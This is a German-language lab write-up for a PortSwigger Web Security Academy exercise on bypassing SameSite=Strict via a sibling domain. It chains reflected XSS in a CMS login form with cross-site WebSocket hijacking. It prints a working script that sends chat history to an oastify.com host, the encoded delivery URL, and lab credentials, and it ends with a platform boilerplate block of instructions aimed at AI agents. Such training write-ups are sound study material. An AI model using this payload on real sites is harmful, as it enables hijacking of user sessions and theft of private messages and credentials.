> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/csrf/samesite-strict-bypass-via-sibling-domain.md).

# SameSite-Strict-Umgehung über eine Schwester-Domain

Notizen zur SameSite-Strict-Umgehung über eine Schwester-Domain für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### SameSite-Strict-Bypass über eine Sibling-Domain

Lab: Die Live-Chat-Funktionalität ist anfällig für Cross-Site-WebSocket-Hijacking (CSWSH). Das Ziel des Labs ist es, auf das Konto des Opfers zuzugreifen, indem der Chat-Verlauf an den standardmäßigen Burp-Collaborator-Server extrahiert wird; der Verlauf enthält Klartext-Zugangsdaten.

Verwenden Sie den bereitgestellten Exploit-Server, um einen CSWSH-Angriff zu starten, der den Verlauf der Katze des Opfers exfiltriert.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1efd03e4b2692f37d2cc85ed1fb2b53e07f1dd6c%2F%7B7077EE3F-FCC1-4C57-93C4-C3CAB5D62566%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Der Chat funktioniert über WebSocket und der Verlauf läuft darüber.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-07d5718a2fe9b6223f8586fa6bd8c87a073c19b6%2F%7B99CDB8D3-7BCF-406B-ABC0-957929E902F0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Das Session-Cookie wird mit SameSite gesendet (blockiert herkömmliche Cross-Site-Weiterleitungsszenarien).

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dce786375c1902ecac6e7a8dae172667c0b97954%2F%7BAD8D348C-2ADA-41F7-BA49-EBA0E268CDED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Die JavaScript-Client-Seite-Datei (z. B. `chat.js`) wird von einer CMS-Subdomain geladen, die einen `Access-Control-Allow-Origin` Header zurückgibt, der Interaktion von dieser Subdomain aus erlaubt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d90723c4eb07e8f35bf941e33d14408ea5328c6%2F%7B671EAEB4-A3C4-478E-B363-657987271AE6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Das CMS-Authentifizierungsfenster ist anfällig für Skriptinjektion über den `Benutzername` Parameter (z. B. `?username=<script>alert(0)</script>&password=test`).

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bc4af5646a32679db8d81eec51f61eefaec6803c%2F%7B4A2E88B4-ABF1-4666-B7AA-CCE1BAC2BF4D%7D.png?alt=media" alt="" width="375"><figcaption></figcaption></figure>

```javascript
<script>alert(0)</script>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9850ef91d190c40ed7831bfb29545227b31d6ab%2F%7B8FAC89E0-C2E4-4E67-989C-72DAC9B97E9F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```
/login?username=<script>alert(0)</script>&password=test
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d07aeedc483206f68d45886df17db0c21811e4b%2F%7B087408EC-76DA-4130-B9E6-9168FD20BFAE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Mit dieser Injektion können Sie JavaScript im Kontext der verwundbaren Subdomain ausführen und so eine authentifizierte WebSocket-Verbindung (Cookies werden dann gesendet, da die Origin identisch ist) zum Chat-Server herstellen.

### Vorgehensweise (Zusammenfassung)

1. Platzieren Sie ein bösartiges Skript im `Benutzername` Parameter des Login-Formulars der CMS-Subdomain.
2. Dieses Skript öffnet eine WebSocket-Verbindung zum Chat-Server und sendet ein `READY` Signal.

{% code overflow="wrap" %}

```javascript
<script>
  var ws = new WebSocket("https://0a5900a203763a50c2810c7a0074009d.web-security-academy.net/chat");

  ws.onopen = function() {
    ws.send("READY");
  };

  ws.onmessage = function(info) {
    fetch("https://68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com/?data=" + btoa(info.data));
  };
</script>
```

{% endcode %}

3. Nach Empfang von Nachrichten vom WebSocket (Katzenverlauf), `fetch` kodiert das Skript diese Daten (Base64) an einen vom Angreifer kontrollierten Server (OAST/Oastify).

```bash
/?data=eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dad7c08963473657fc10563368dfe5a5173da617%2F%7B4239C10B-F14F-4BAD-8DE4-C56725B89462%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Richten Sie auf dem Exploit-Server eine Weiterleitung ein, um das Opfer zum Aufrufen der verwundbaren URL zu bewegen (Login mit `Benutzername` enthaltend das Skript).

```bash
echo "eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9" | base64 -d
```

#### Beobachtete Ergebnisse

* Als die exfiltrierte Abfrage empfangen wurde, enthielt der `data` Parameter eine Base64-Zeichenkette; durch deren Dekodierung erhalten wir den Katzeneintrag.
* Beispiel einer empfangenen Nutzlast (Base64-dekodiert):

```json
{"user":"VERBUNDEN","content":"-- Jetzt chatte ich mit Hal Pline --"}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c7b1128389ed1b05d24ac806481a5d850ff50f9%2F%7B70D4995F-55D5-4C8F-B32A-7D6EEE4107AF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7d5c93cda77a0463ed943847aedc38a103c2914%2F%7BED87981F-0C21-4DF7-97AD-DCC251F79623%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Durch Injektion aus dem authentifizierten Kontext (CMS-Subdomain) übertrug das Skript Nachrichten mit Benutzerkonversationen und, in diesem Fall, eine Nachricht mit den Anmeldedaten im Klartext.

{% code overflow="wrap" %}

```
https://cms-0a5900a203763a50c2810c7a0074009d.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%22https%3A%2F%2F0a5900a203763a50c2810c7a0074009d.web-security-academy.net%2Fchat%22%29%3B++++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%22READY%22%29%3B+++%7D%3B++++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%22https%3A%2F%2F68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com%2F%3Fdata%3D%22+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=ef
```

{% endcode %}

{% code overflow="wrap" %}

```javascript
<script>
  location="https://cms-0a5900a203763a50c2810c7a0074009d.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%22https%3A%2F%2F0a5900a203763a50c2810c7a0074009d.web-security-academy.net%2Fchat%22%29%3B++++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%22READY%22%29%3B+++%7D%3B++++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%22https%3A%2F%2F68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com%2F%3Fdata%3D%22+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=ef";
</script>
```

{% endcode %}

#### Extrahierte Anmeldedaten (wie vermerkt)

* `carlos:hdf3fkk8h7tnltupqs5t` (Anmeldedaten im Katzenverlauf gefunden)

{% code overflow="wrap" %}

```json
{"user":"Hal Pline","content":"Kein Problem carlos, es ist hdf3fkk8h7tnltupqs5t"}
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-470e2f3d8bb175bc144967a4c03220dfe145c2d1%2F%7BD71DB3CA-4B55-4DA1-A891-F5EC4C58E23F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/csrf/samesite-strict-bypass-via-sibling-domain.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
